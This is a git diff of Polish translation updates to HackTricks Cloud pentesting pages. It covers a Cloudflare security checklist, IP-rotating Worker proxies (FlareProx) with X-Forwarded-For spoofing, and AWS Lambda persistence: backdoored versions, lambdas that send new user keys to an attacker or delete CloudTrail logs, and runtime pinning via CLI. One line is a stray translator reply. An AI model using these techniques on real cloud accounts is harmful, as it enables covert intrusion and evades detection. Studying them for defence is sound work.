Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd

2026-07-28 22:51:09 -07:00 · 2025-10-23 20:51:26 +00:00
parent ad13834019
commit 8154079e5a
18 changed files with 573 additions and 581 deletions
@@ -1,14 +1,14 @@
-# Cloudflare — Bezpieczeństwo
+# Cloudflare Security

 {{#include ../../banners/hacktricks-training.md}}

-W koncie Cloudflare istnieją pewne **ustawienia ogólne i usługi**, które można skonfigurować. Na tej stronie przeanalizujemy **ustawienia związane z bezpieczeństwem w każdej sekcji:**
+W koncie Cloudflare można skonfigurować pewne **ogólne ustawienia i usługi**. Na tej stronie przeanalizujemy **ustawienia związane z bezpieczeństwem każdej sekcji:**

 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>

-## Strony internetowe
+## Websites

-Przejrzyj każdą za pomocą:
+Sprawdź każdą za pomocą:

 {{#ref}}
 cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md

 ### Domain Registration

- [ ] W sekcji **`Transfer Domains`** sprawdź, czy nie jest możliwe przeniesienie żadnej domeny.
+- [ ] W **`Transfer Domains`** sprawdź, czy nie jest możliwe przeniesienie żadnej domeny.

-Przejrzyj każdą za pomocą:
+Sprawdź każdą za pomocą:

 {{#ref}}
 cloudflare-domains.md
@@ -26,35 +26,35 @@ cloudflare-domains.md

 ## Analytics

-_Nie znalazłem niczego do sprawdzenia w ramach przeglądu konfiguracji pod kątem bezpieczeństwa._
+_I couldn't find anything to check for a config security review._

 ## Pages

-W przypadku każdej strony Pages Cloudflare:
+On each Cloudflare's page:

- [ ] Sprawdź obecność **poufnych informacji** w **`Build log`**.
- [ ] Sprawdź obecność **poufnych informacji** w przypisanym do Pages repozytorium Github.
- [ ] Sprawdź możliwość kompromitacji repo przez **workflow command injection** lub kompromitację `pull_request_target`. Więcej informacji na [**Github Security page**](../github-security/index.html).
- [ ] Sprawdź, czy w katalogu `/fuctions` (jeśli istnieje) nie ma podatnych funkcji; sprawdź przekierowania w pliku `_redirects` (jeśli istnieje) i niepoprawnie skonfigurowane nagłówki w pliku `_headers` (jeśli istnieje).
- [ ] Sprawdź, czy na stronie nie ma **luk** używając podejścia **blackbox** lub **whitebox**, jeśli masz **dostęp do kodu**.
- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions` sprawdź obecność **poufnych informacji** w **`Environment variables`**.
- [ ] Na stronie szczegółów sprawdź także **build command** i **root directory** pod kątem **potencjalnych injections** mogących skompromitować stronę.
+- [ ] Sprawdź, czy w **`Build log`** nie ma informacji wrażliwych.
+- [ ] Sprawdź, czy w przypisanym do Pages repozytorium Github nie ma informacji wrażliwych.
+- [ ] Sprawdź potencjalne przejęcie repozytorium Github przez workflow command injection lub kompromitację `pull_request_target`. Więcej informacji na [**Github Security page**](../github-security/index.html).
+- [ ] Sprawdź pod kątem podatnych funkcji w katalogu `/fuctions` (jeśli istnieje), sprawdź przekierowania w pliku `_redirects` (jeśli istnieje) oraz nieprawidłowo skonfigurowane nagłówki w pliku `_headers` (jeśli istnieje).
+- [ ] Sprawdź podatności na stronie webowej metodami blackbox lub whitebox, jeśli masz dostęp do kodu.
+- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions` sprawdź, czy w **`Environment variables`** nie ma informacji wrażliwych.
+- [ ] Na stronie szczegółów sprawdź także komendę build i katalog root pod kątem potencjalnych injection, które mogłyby przejąć stronę.

 ## **Workers**

-W przypadku każdego workera Cloudflare sprawdź:
+On each Cloudflare's worker check:

- [ ] Wyzwalacze: Co powoduje uruchomienie workera? Czy **użytkownik może wysłać dane**, które będą **wykorzystane** przez workera?
- [ ] W **`Settings`** sprawdź **`Variables`** zawierające **poufne informacje**.
- [ ] Sprawdź **kod workera** i wyszukaj **luki** (zwłaszcza w miejscach, gdzie użytkownik może kontrolować dane wejściowe)
- Sprawdź SSRF-y zwracające wskazaną stronę, którą możesz kontrolować
- Sprawdź XSS-y wykonujące JS wewnątrz obrazka SVG
- Możliwe, że worker komunikuje się z innymi wewnętrznymi usługami. Na przykład worker może operować na bucketcie R2, zapisując w nim informacje pozyskane z danych wejściowych. W takim przypadku konieczne jest sprawdzenie, jakie uprawnienia ma worker względem bucketu R2 i w jaki sposób można je nadużyć za pomocą danych wejściowych użytkownika.
+- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
+- [ ] W **`Settings`** sprawdź, czy **`Variables`** nie zawierają informacji wrażliwych.
+- [ ] Sprawdź kod Workera i wyszukaj podatności (szczególnie tam, gdzie użytkownik może kontrolować input).
+- Sprawdź SSRF-y zwracające wskazaną stronę, którą możesz kontrolować.
+- Sprawdź XSS-y wykonujące JS wewnątrz obrazu svg.
+- Worker może wchodzić w interakcję z innymi usługami wewnętrznymi. Na przykład Worker może zapisywać dane do bucketu R2 uzyskane z inputu. W takim przypadku trzeba sprawdzić, jakie uprawnienia ma Worker względem bucketu R2 i jak można je wykorzystać przez input użytkownika.

 > [!WARNING]
-> Zwróć uwagę, że domyślnie **Worker otrzymuje URL** takiego formatu `<worker-name>.<account>.workers.dev`. Użytkownik może ustawić subdomenę, ale zawsze możesz uzyskać dostęp do tej **oryginalnej URL**, jeśli ją znasz.
+> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.

-W praktycznym wykorzystaniu Workers jako pass-through proxy (rotacja IP, FireProx-style), sprawdź:
+For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:

 {{#ref}}
 cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -62,9 +62,9 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md

 ## R2

-W przypadku każdego bucketu R2 sprawdź:
+On each R2 bucket check:

- [ ] Skonfiguruj **politykę CORS**.
+- [ ] Skonfiguruj **CORS Policy**.

 ## Stream

@@ -76,8 +76,8 @@ TODO

 ## Security Center

- [ ] Jeśli to możliwe, uruchom skan **`Security Insights`** oraz skan **`Infrastructure`**, ponieważ podświetlą one interesujące informacje z punktu widzenia bezpieczeństwa.
- [ ] Po prostu **sprawdź te informacje** pod kątem nieprawidłowych konfiguracji bezpieczeństwa i interesujących danych
+- [ ] Jeśli to możliwe, uruchom skan **`Security Insights`** oraz skan **`Infrastructure`**, ponieważ wykażą interesujące informacje pod kątem bezpieczeństwa.
+- [ ] Po prostu przejrzyj te informacje pod kątem błędów konfiguracyjnych i interesujących danych.

 ## Turnstile

@@ -92,14 +92,14 @@ cloudflare-zero-trust-network.md
 ## Bulk Redirects

 > [!NOTE]
-> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują operacji **zamiany ciągów znaków** ani wyrażeń regularnych. Jednak możesz skonfigurować parametry przekierowań URL, które wpływają na zachowanie dopasowywania URL i ich działanie w czasie wykonywania.
+> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.

- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dotyczące przekierowań **mają sens**.
- [ ] Sprawdź także ukryte **poufne endpointy**, które mogą zawierać interesujące informacje.
+- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dla redirectów mają sens.
+- [ ] Sprawdź również, czy nie ma **ukrytych wrażliwych endpointów**, które zawierają interesujące informacje.

 ## Notifications

- [ ] Sprawdź **powiadomienia**. Następujące powiadomienia są zalecane pod kątem bezpieczeństwa:
+- [ ] Sprawdź **notifications**. Te powiadomienia są zalecane z punktu widzenia bezpieczeństwa:
 - `Usage Based Billing`
 - `HTTP DDoS Attack Alert`
 - `Layer 3/4 DDoS Attack Alert`
@@ -119,22 +119,22 @@ cloudflare-zero-trust-network.md
 - `Script Monitor New Script Exceeds Max URL Length Alert`
 - `Advanced Security Events Alert`
 - `Security Events Alert`
- [ ] Sprawdź wszystkie **destinations**, ponieważ w webhook URL-ach mogą znajdować się **poufne informacje** (basic http auth). Upewnij się także, że webhook URL-e używają **HTTPS**
- [ ] Jako dodatkową kontrolę możesz spróbować **podszyć się pod powiadomienie Cloudflare** wysłane do strony trzeciej — być może uda Ci się w ten sposób **wstrzyknąć coś niebezpiecznego**
+- [ ] Sprawdź wszystkie **destination**, ponieważ w webhook URL-ach może znajdować się **wrażliwa informacja** (basic http auth). Upewnij się także, że webhooki używają **HTTPS**.
+- [ ] Jako dodatkową kontrolę możesz spróbować **podszyć się pod powiadomienie Cloudflare** wysłane do strony trzeciej — być może uda się wstrzyknąć coś niebezpiecznego.

-## Zarządzanie kontem
+## Manage Account

- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty**, daty **ważności** oraz **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
- [ ] Można zobaczyć **typ planu** używanego na koncie w **`Billing` -> `Subscriptions`**.
- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **role**. Zauważ, że jeśli typ planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Jednak jeśli używany **plan jest Enterprise**, można użyć [**bardziej szczegółowych ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/), aby stosować zasadę najmniejszych uprawnień.
- W związku z tym, gdy to możliwe, zalecane jest korzystanie z **planu Enterprise**.
+- [ ] W **`Billing` -> `Payment info`** można zobaczyć **ostatnie 4 cyfry karty**, datę wygaśnięcia i adres rozliczeniowy.
+- [ ] W **`Billing` -> `Subscriptions`** można zobaczyć typ planu używanego na koncie.
+- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **role**. Zauważ, że jeśli plan nie jest Enterprise, dostępne są tylko 2 role: Administrator i Super Administrator. Jeśli jednak używany plan to **Enterprise**, można stosować [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) w celu realizacji zasady najmniejszych uprawnień.
+- Dlatego, gdy to możliwe, **zaleca się** używanie planu **Enterprise**.
 - [ ] W Members można sprawdzić, którzy **członkowie** mają włączone **2FA**. **Każdy** użytkownik powinien mieć to włączone.

 > [!NOTE]
-> Na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może eskalować uprawnień ani zapraszać** nowych członków)
+> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)

-## Dochodzenie DDoS
+## DDoS Investigation

-[Sprawdź tę część](cloudflare-domains.md#cloudflare-ddos-protection).
+[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).

 {{#include ../../banners/hacktricks-training.md}}
@@ -2,27 +2,27 @@

 {{#include ../../banners/hacktricks-training.md}}

-Cloudflare Workers mogą być wdrożone jako przezroczyste HTTP pass-through proxies, gdzie upstream target URL jest dostarczany przez klienta. Żądania wychodzą z sieci Cloudflare, więc docelowy serwer widzi Cloudflare IPs zamiast adresu klienta. To odzwierciedla znaną technikę FireProx na AWS API Gateway, lecz wykorzystuje Cloudflare Workers.
+Cloudflare Workers mogą być wdrożone jako przezroczyste HTTP pass-through proxies, gdzie docelowy upstream URL jest dostarczany przez klienta. Żądania wychodzą z sieci Cloudflare, więc cel widzi adresy IP Cloudflare zamiast klienta. To odzwierciedla dobrze znaną technikę FireProx na AWS API Gateway, ale wykorzystuje Cloudflare Workers.

-### Key capabilities
+### Główne możliwości
 - Obsługa wszystkich metod HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Target może być dostarczony przez parametr zapytania (?url=...), nagłówek (X-Target-URL), lub nawet zakodowany w ścieżce (np. /https://target)
- Nagłówki i body są przekazywane przez proxy z filtrowaniem hop-by-hop/nagłówków w razie potrzeby
+- Adres docelowy może być przekazywany przez parametr zapytania (?url=...), nagłówek (X-Target-URL) lub nawet zakodowany w ścieżce (np. /https://target)
+- Nagłówki i ciało żądania są przekazywane przez proxy z filtrowaniem nagłówków hop-by-hop w razie potrzeby
 - Odpowiedzi są przekazywane z powrotem, zachowując kod statusu i większość nagłówków
- Opcjonalne podszywanie się pod X-Forwarded-For (jeśli Worker ustawia go z nagłówka kontrolowanego przez użytkownika)
- Bardzo szybka/łatwa rotacja przez wdrażanie wielu endpointów Worker i rozsyłanie żądań
+- Opcjonalne sfałszowanie X-Forwarded-For (jeśli Worker ustawia go na podstawie nagłówka kontrolowanego przez użytkownika)
+- Bardzo szybka/łatwa rotacja przez wdrożenie wielu endpointów Worker i rozsyłanie żądań

-### How it works (flow)
-1) Klient wysyła żądanie HTTP do URL Workera (`<name>.<account>.workers.dev` lub trasa na niestandardowej domenie).
-2) Worker wyciąga target z parametru zapytania (?url=...), nagłówka X-Target-URL lub segmentu ścieżki jeśli zaimplementowano.
-3) Worker przekazuje przychodzącą metodę, nagłówki i body do określonego upstream URL (filtrowanie problematycznych nagłówków).
-4) Odpowiedź upstream jest przesyłana strumieniowo z powrotem do klienta przez Cloudflare; origin widzi Cloudflare egress IPs.
+### Jak to działa (przepływ)
+1) Klient wysyła żądanie HTTP do URL Worker (`<name>.<account>.workers.dev` lub trasy niestandardowej domeny).  
+2) Worker wydobywa cel z parametru zapytania (?url=...), nagłówka X-Target-URL lub segmentu ścieżki, jeśli to zaimplementowano.  
+3) Worker przekazuje metodę, nagłówki i ciało do wskazanego upstream URL (filtrując problematyczne nagłówki).  
+4) Odpowiedź upstream jest przesyłana z powrotem do klienta przez Cloudflare; origin widzi adresy IP egress Cloudflare.

-### Worker implementation example
- Odczytuje target URL z parametru zapytania, nagłówka lub ścieżki
- Kopiuje bezpieczny podzbiór nagłówków i przesyła oryginalną metodę/body
+### Przykład implementacji Workera
+- Odczytuje adres URL celu z parametru zapytania, nagłówka lub ścieżki
+- Kopiuje bezpieczny podzbiór nagłówków i przekazuje oryginalną metodę/ciało
 - Opcjonalnie ustawia X-Forwarded-For używając nagłówka kontrolowanego przez użytkownika (X-My-X-Forwarded-For) lub losowego IP
- Dodaje permisywne CORS i obsługuje preflight
+- Dodaje liberalne CORS i obsługuje preflight

 <details>
 <summary>Przykładowy Worker (JavaScript) do pass-through proxying</summary>
@@ -135,10 +135,10 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1

 ### Automatyzacja wdrażania i rotacji za pomocą FlareProx

-FlareProx to narzędzie Python, które używa Cloudflare API do wdrożenia wielu Worker endpoints i rotowania pomiędzy nimi. Zapewnia to FireProx-like IP rotation z sieci Cloudflare.
+FlareProx to narzędzie w Pythonie, które korzysta z Cloudflare API do wdrażania wielu Worker endpoints i rotowania pomiędzy nimi. Zapewnia to FireProx-like rotację adresów IP z sieci Cloudflare.

 Konfiguracja
-1) Utwórz Cloudflare API Token, korzystając z szablonu “Edit Cloudflare Workers”, i pobierz swój Account ID z dashboardu.
+1) Utwórz Cloudflare API Token, używając szablonu “Edit Cloudflare Workers”, i pobierz swój Account ID z dashboardu.
 2) Skonfiguruj FlareProx:
 ```bash
 git clone https://github.com/MrTurvey/flareprox
@@ -160,11 +160,11 @@ pip install -r requirements.txt
 ```bash
 python3 flareprox.py create --count 2
 ```
- Wymień endpoints:
+- Wypisz endpointy:
 ```bash
 python3 flareprox.py list
 ```
- Punkty końcowe Health-test:
+- Endpointy health-test:
 ```bash
 python3 flareprox.py test
 ```
@@ -177,7 +177,7 @@ python3 flareprox.py cleanup
 ```bash
 curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
 ```
- Forma nagłówka:
+Proszę wklej zawartość pliku/sekcji, którą mam przetłumaczyć. Zachowam oryginalny markdown/HTML i nie będę tłumaczył kodu, linków, nazw technicznych ani ścieżek.
 ```bash
 curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
 ```
@@ -204,14 +204,14 @@ curl -X DELETE \
 ```
 **`X-Forwarded-For` kontrola**

-Jeśli Worker honoruje `X-My-X-Forwarded-For`, możesz wpłynąć na wartość `X-Forwarded-For` wysyłaną do upstream:
+Jeśli Worker honoruje `X-My-X-Forwarded-For`, możesz wpłynąć na wartość upstream `X-Forwarded-For`:
 ```bash
 curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
 "https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
 ```
-**Użycie programistyczne**
+**Użycie programowe**

-Użyj biblioteki FlareProx do tworzenia/listowania/testowania endpoints i kierowania żądań z Pythona.
+Użyj biblioteki FlareProx do tworzenia, listowania i testowania endpointów oraz kierowania żądań z Pythona.

 <details>
 <summary>Przykład w Pythonie: Wyślij POST przez losowy Worker endpoint</summary>
@@ -267,15 +267,15 @@ print(f"Request error: {e}")
 ```
 </details>

-**Integracja z Burp/Scanner**
- Skieruj narzędzia (np. Burp Suite) na Worker URL.
- Podaj rzeczywisty upstream używając ?url= lub X-Target-URL.
- Semantyka HTTP (methods/headers/body) jest zachowana, przy jednoczesnym maskowaniu Twojego adresu IP źródłowego za Cloudflare.
+**Burp/Scanner integration**
+- Wskaż narzędzia (np. Burp Suite) na Worker URL.
+- Podaj rzeczywisty upstream za pomocą ?url= lub X-Target-URL.
+- Semantyka HTTP (methods/headers/body) jest zachowana przy jednoczesnym maskowaniu twojego adresu IP źródłowego za Cloudflare.

-**Uwagi operacyjne i ograniczenia**
- Cloudflare Workers Free plan umożliwia w przybliżeniu 100,000 requests/day na konto; użyj wielu endpointów, aby rozłożyć ruch w razie potrzeby.
- Workers działają w sieci Cloudflare; wiele targets zobaczy tylko Cloudflare IPs/ASN, co może obejść naiwne listy allow/deny oparte na IP lub heurystyki geolokalizacyjne.
- Używaj odpowiedzialnie i tylko za zgodą. Szanuj ToS i robots.txt.
+**Operational notes and limits**
+- Cloudflare Workers Free plan pozwala na około 100 000 żądań/dzień na konto; użyj wielu endpointów, aby rozłożyć ruch w razie potrzeby.
+- Workers działają w sieci Cloudflare; wiele celów zobaczy jedynie Cloudflare IPs/ASN, co może obejść naiwną listę dozwolonych/odrzuconych IP lub heurystyki geolokalizacyjne.
+- Używaj odpowiedzialnie i tylko za autoryzacją. Szanuj ToS i robots.txt.

 ## Referencje
 - [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
@@ -4,7 +4,7 @@

 ## Lambda

-Aby uzyskać więcej informacji, zobacz:
+Aby uzyskać więcej informacji zobacz:

 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, zobacz:

 ### Lambda Layer Persistence

-Możliwe jest **introduce/backdoor a layer to execute arbitrary code** gdy Lambda jest uruchamiana w sposób stealthy:
+Możliwe jest **introduce/backdoor a layer to execute arbitrary code** gdy lambda jest uruchamiana w sposób dyskretny:

 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md

 ### Lambda Extension Persistence

-Nadużywając Lambda Layers można też wykorzystać extensions, aby persist w Lambda oraz steal i modify requests.
+Wykorzystując Lambda Layers można także nadużyć extensions i uzyskać utrzymanie dostępu w Lambdzie, a także przechwytywać i modyfikować żądania.

 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md

 ### Via resource policies

-Za pomocą polityk zasobów można nadać dostęp do różnych lambda actions (takich jak invoke lub update code) dla kont zewnętrznych:
+Możliwe jest przyznanie dostępu do różnych akcji lambda (takich jak invoke lub update code) zewnętrznym kontom:

 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>

 ### Versions, Aliases & Weights

-Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\
-Następnie możesz utworzyć **różne aliasy z różnymi wersjami** Lambdy i ustawić różne wagi dla każdego.\
-W ten sposób atakujący mógłby stworzyć **backdoored version 1** i **version 2 with only the legit code** oraz **only execute the version 1 in 1%** zapytań, aby pozostać stealth.
+Lambda może mieć **różne versions** (każda wersja z innym kodem).\
+Następnie można utworzyć **różne aliases powiązane z różnymi versions** funkcji lambda i ustawić dla nich różne weights.\
+W ten sposób atakujący może stworzyć **backdoored version 1** oraz **version 2 zawierającą tylko legit code** i **wykonywać version 1 tylko w 1%** żądań, aby pozostać dyskretnym.

 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>

 ### Version Backdoor + API Gateway

-1. Sklonuj oryginalny kod Lambdy  
-2. **Create a new version backdooring** oryginalnego kodu (lub tylko z złośliwym kodem). Publish i **deploy that version** do $LATEST  
-1. Wywołaj API Gateway powiązany z Lambdą, aby uruchomić kod  
-3. **Create a new version with the original code**, Publish i deploy that **version** do $LATEST.  
-1. To ukryje backdoored code w poprzedniej wersji  
-4. Przejdź do API Gateway i **create a new POST method** (lub wybierz inny method), która wykona backdoored version Lambdy: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`  
-1. Zwróć uwagę na końcówkę :1 w ARN **indicating the version of the function** (version 1 będzie backdoored w tym scenariuszu).  
-5. Wybierz utworzony POST method i w Actions wybierz **`Deploy API`**  
-6. Teraz, gdy wywołasz funkcję przez POST, **your Backdoor** zostanie uruchomiony
+1. Skopiuj oryginalny kod Lambdy
+2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
+1. Wywołaj API Gateway powiązany z Lambdą, aby wykonać kod
+3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
+1. To ukryje zbackdoorowany kod w poprzedniej wersji
+4. Przejdź do API Gateway i **create a new POST method** (lub wybierz inną metodę), która wykona zbackdoorowaną wersję Lambdy: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+1. Zwróć uwagę na końcowe :1 w ARN **wskazujące wersję funkcji** (version 1 będzie zbackdoorowaną w tym scenariuszu).
+5. Wybierz utworzoną metodę POST i w Actions wybierz **`Deploy API`**
+6. Teraz, gdy **wywołasz funkcję przez POST, Twój Backdoor** zostanie uruchomiony

 ### Cron/Event actuator

-Możliwość uruchamiania **lambda functions run when something happen or when some time pass** sprawia, że Lambda jest popularnym sposobem na uzyskanie persistence i unikanie wykrycia.\
-Poniżej kilka pomysłów, jak uczynić swoją **presence in AWS more stealth by creating lambdas**.
+Fakt, że możesz uruchamiać funkcje Lambda, gdy coś się wydarzy lub po upływie określonego czasu, czyni Lambdy popularnym sposobem na uzyskanie utrzymania dostępu i unikanie wykrycia.\
+Oto kilka pomysłów, jak uczynić swoją **obecność w AWS bardziej dyskretną przez tworzenie lambd**.

- Za każdym razem, gdy tworzone jest nowe konto użytkownika, lambda generuje nowy user key i wysyła go do atakującego.
- Za każdym razem, gdy tworzona jest nowa rola, lambda nadaje assume role permissions skompromitowanym użytkownikom.
- Za każdym razem, gdy generowane są nowe cloudtrail logs, usuń/zmodyfikuj je
+- Za każdym razem, gdy zostanie utworzony nowy użytkownik, Lambda generuje nowy klucz użytkownika i wysyła go do atakującego.
+- Za każdym razem, gdy tworzona jest nowa rola, Lambda przyznaje uprawnienia assume role skompromitowanym użytkownikom.
+- Za każdym razem, gdy pojawiają się nowe logi CloudTrail, usuń/zmodyfikuj je

 ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers

-Wykorzystaj zmienną środowiskową `AWS_LAMBDA_EXEC_WRAPPER`, aby uruchomić skrypt wrapper kontrolowany przez atakującego przed startem runtime/handlera. Dostarcz wrapper przez Lambda Layer w `/opt/bin/htwrap`, ustaw `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a następnie invoke funkcję. Wrapper uruchamia się wewnątrz procesu runtime funkcji, dziedziczy function execution role i w końcu `exec`uje prawdziwy runtime, więc oryginalny handler nadal wykonuje się normalnie.
+Wykorzystaj zmienną środowiskową `AWS_LAMBDA_EXEC_WRAPPER`, aby wykonać skrypt wrapper kontrolowany przez atakującego przed uruchomieniem runtime/handlera. Dostarcz wrapper jako Lambda Layer pod `/opt/bin/htwrap`, ustaw `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a następnie wywołaj funkcję. Wrapper działa wewnątrz procesu runtime funkcji, dziedziczy rolę wykonywania funkcji i ostatecznie wykonuje (`exec`) prawdziwy runtime, dzięki czemu oryginalny handler nadal wykonuje się normalnie.

 {{#ref}}
 aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md

 ### AWS - Lambda Function URL Public Exposure

-Nadużyj Lambda asynchronous destinations razem z konfiguracją Recursion, aby funkcja ciągle re-invoke'owała sama siebie bez zewnętrznego scheduler'a (bez EventBridge, cron itd.). Domyślnie Lambda przerywa rekursywne pętle, ale ustawienie recursion config na Allow ponownie je włącza. Destinations deliver on the service side dla async invokes, więc jedno seed invoke tworzy stealthy, code-free heartbeat/backdoor channel. Opcjonalnie throttle z reserved concurrency, aby utrzymać niski noise.
+Wykorzystaj asynchroniczne destinations Lambdy razem z konfiguracją Recursion, aby funkcja stale ponownie wywoływała samą siebie bez zewnętrznego schedulera (bez EventBridge, cron itp.). Domyślnie Lambda przerywa pętle rekursywne, ale ustawienie recursion config na Allow ponownie je włącza. Destinations dostarczają po stronie serwisu dla asynchronicznych wywołań, więc pojedyncze seed invoke tworzy dyskretny, bezkodowy kanał heartbeat/backdoor. Opcjonalnie ograniczaj przepustowość za pomocą reserved concurrency, aby zmniejszyć poziom szumu.

 {{#ref}}
 aws-lambda-async-self-loop-persistence.md
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md

 ### AWS - Lambda Alias-Scoped Resource Policy Backdoor

-Stwórz ukrytą wersję Lambdy z logiką atakującego i ogranicz politykę opartą na zasobie do tej konkretnej wersji (lub aliasu) używając parametru `--qualifier` w `lambda add-permission`. Nadaj tylko `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` dla principal atakującego. Normalne wywołania przez nazwę funkcji lub główny alias pozostają niezmienione, podczas gdy atakujący może bezpośrednio invoke'ować backdoored version ARN.
+Utwórz ukrytą wersję Lambdy z logiką atakującego i zastosuj resource-based policy do tej konkretnej wersji (lub aliasu) używając parametru `--qualifier` w `lambda add-permission`. Przyznaj tylko `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` principalowi atakującemu. Normalne wywołania przez nazwę funkcji lub główny alias pozostają niezmienione, podczas gdy atakujący może bezpośrednio wywołać ARN zbackdoorowanej wersji.

-To jest bardziej stealthy niż expose Function URL i nie zmienia primary traffic alias.
+To jest bardziej dyskretne niż wystawienie Function URL i nie zmienia głównego aliasu ruchu.

 {{#ref}}
 aws-lambda-alias-version-policy-backdoor.md
@@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md

 ### Freezing AWS Lambda Runtimes

-Atakujący, który ma uprawnienia lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig oraz lambda:GetRuntimeManagementConfig może modyfikować runtime management configuration funkcji. Ten atak jest szczególnie skuteczny, gdy celem jest utrzymanie Lambdy na podatnej wersji runtime lub zachowanie kompatybilności z malicious layers, które mogą być niekompatybilne z nowszymi runtime'ami.
+Atakujący, który ma uprawnienia lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig oraz lambda:GetRuntimeManagementConfig, może zmodyfikować konfigurację zarządzania runtime funkcji. Ten atak jest szczególnie skuteczny, gdy celem jest utrzymanie funkcji Lambda na podatnej wersji runtime lub zachowanie zgodności ze złośliwymi layers, które mogą być niekompatybilne z nowszymi runtime'ami.

-Atakujący modyfikuje runtime management configuration, aby przypiąć wersję runtime:
+Atakujący modyfikuje konfigurację zarządzania runtime, aby przypiąć wersję runtime:
 ```bash
 # Invoke the function to generate runtime logs
 aws lambda invoke \
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
 --function-name $TARGET_FN \
 --region us-east-1
 ```
-Opcjonalnie: przypnij do konkretnej wersji runtime
+Opcjonalnie: Przypnij do konkretnej wersji runtime
 ```bash
 # Extract Runtime Version ARN from INIT_START logs
 RUNTIME_ARN=$(aws logs filter-log-events \
@@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \
 --query 'events[0].message' \
 --output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
 ```
-Przypnij do konkretnej wersji runtime:
+Przypnij do konkretnej wersji środowiska uruchomieniowego:
 ```bash
 aws lambda put-runtime-management-config \
 --function-name $TARGET_FN \
@@ -4,16 +4,16 @@

 ## CloudFront

-Aby uzyskać więcej informacji, zobacz:
+Po więcej informacji zobacz:

 {{#ref}}
 ../../aws-services/aws-cloudfront-enum.md
 {{#endref}}

 ### `cloudfront:Delete*`
-Atakujący, któremu przyznano uprawnienie cloudfront:Delete*, może usuwać distributions, policies oraz inne krytyczne obiekty konfiguracji CDN — na przykład distributions, cache/origin policies, key groups, origin access identities, functions/configs i powiązane zasoby. Może to spowodować zakłócenia w działaniu usługi, utratę treści oraz usunięcie konfiguracji lub artefaktów śledczych.
+Atakujący, któremu przyznano `cloudfront:Delete*`, może usuwać distributions, policies i inne krytyczne obiekty konfiguracji CDN — na przykład distributions, cache/origin policies, key groups, origin access identities, functions/configs oraz powiązane zasoby. Może to spowodować przerwanie działania usługi, utratę treści oraz usunięcie konfiguracji lub artefaktów śledczych.

-Aby usunąć distribution atakujący może użyć:
+Aby usunąć distribution, atakujący może użyć:
 ```bash
 aws cloudfront delete-distribution \
 --id <DISTRIBUTION_ID> \
@@ -21,19 +21,19 @@ aws cloudfront delete-distribution \
 ```
 ### Man-in-the-Middle

